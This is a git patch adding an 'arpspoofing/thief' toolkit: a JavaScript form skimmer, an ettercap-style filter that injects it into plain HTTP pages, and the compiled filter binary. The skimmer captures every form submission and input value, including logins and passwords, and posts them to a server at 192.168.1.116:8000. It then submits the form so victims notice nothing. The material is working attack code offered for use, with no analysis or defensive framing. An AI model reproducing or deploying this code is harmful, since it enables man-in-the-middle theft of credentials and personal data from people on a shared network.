From eda5a023c21bbf27c3446073c309b82ff4c8409c Mon Sep 17 00:00:00 2001
From: admin <garrysmod57@bk.ru>
Date: Sun, 29 Mar 2026 19:29:31 +0000
Subject: [PATCH] =?UTF-8?q?=D0=97=D0=B0=D0=B3=D1=80=D1=83=D0=B7=D0=B8?=
 =?UTF-8?q?=D1=82=D1=8C=20=D1=84=D0=B0=D0=B9=D0=BB=D1=8B=20=D0=B2=20=C2=AB?=
 =?UTF-8?q?arpspoofing/thief=C2=BB?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 arpspoofing/thief/exploit.ef     | Bin 0 -> 440 bytes
 arpspoofing/thief/js_thief.js    |  32 +++++++++++++++++++++++++++++++
 arpspoofing/thief/xss_exploit.js |   3 +++
 3 files changed, 35 insertions(+)
 create mode 100644 arpspoofing/thief/exploit.ef
 create mode 100644 arpspoofing/thief/js_thief.js
 create mode 100644 arpspoofing/thief/xss_exploit.js

diff --git a/arpspoofing/thief/exploit.ef b/arpspoofing/thief/exploit.ef
new file mode 100644
index 0000000000000000000000000000000000000000..e61b92ba997763ae194c901cea7ea3c9a8230958
GIT binary patch
literal 440
zcmaD}XP{@HXRK$)00UwS84UV1`WdN-DR%mq4C*$;$wiq3B?`qw$+k)vB_#z``uc{J
zMtX*37J7zyhK6QV76t|e`dP*CB^jBiX?j`3N_IB-5KTY^*c^2RMws!;j0~JWHXDpj
yfaZY8vl38;E)BPjg$XPbfUW=spIrN3?qh~ApyqQyX>KU(hHkGF+@<I;c=-Uua2$~U

literal 0
HcmV?d00001

diff --git a/arpspoofing/thief/js_thief.js b/arpspoofing/thief/js_thief.js
new file mode 100644
index 0000000..a589d12
--- /dev/null
+++ b/arpspoofing/thief/js_thief.js
@@ -0,0 +1,32 @@
+document.addEventListener('DOMContentLoaded', function() {
+  // Перехватываем все формы на странице
+  const forms = document.getElementsByTagName('form');
+  for (let form of forms) {
+    form.addEventListener('submit', function(e) {
+      e.preventDefault(); // Блокируем стандартную отправку
+      const data = new FormData(form);
+      let stolenData = {};
+      for (let [key, value] of data.entries()) {
+        stolenData[key] = value;
+      }
+      
+      // Отправляем данные на ваш сервер
+      fetch('http://192.168.1.116:8000/log', {
+        method: 'POST',
+        body: JSON.stringify(stolenData),
+        headers: { 'Content-Type': 'application/json' }
+      }).then(() => form.submit()); // Отправляем форму после кражи
+    });
+  }
+
+  // Перехватываем ввод в реальном времени (если формы нет)
+  const inputs = document.getElementsByTagName('input');
+  for (let input of inputs) {
+    input.addEventListener('change', function() {
+      fetch('http://192.168.1.116:8000/log', {
+        method: 'POST',
+        body: JSON.stringify({ [input.name]: input.value })
+      });
+    });
+  }
+});
diff --git a/arpspoofing/thief/xss_exploit.js b/arpspoofing/thief/xss_exploit.js
new file mode 100644
index 0000000..099ef94
--- /dev/null
+++ b/arpspoofing/thief/xss_exploit.js
@@ -0,0 +1,3 @@
+if (ip.proto == TCP && tcp.src == 80) {
+  replace(/<\/head>/i, '<script src="http://192.168.1.116:8000/js_thief.js"></script></head>');
+}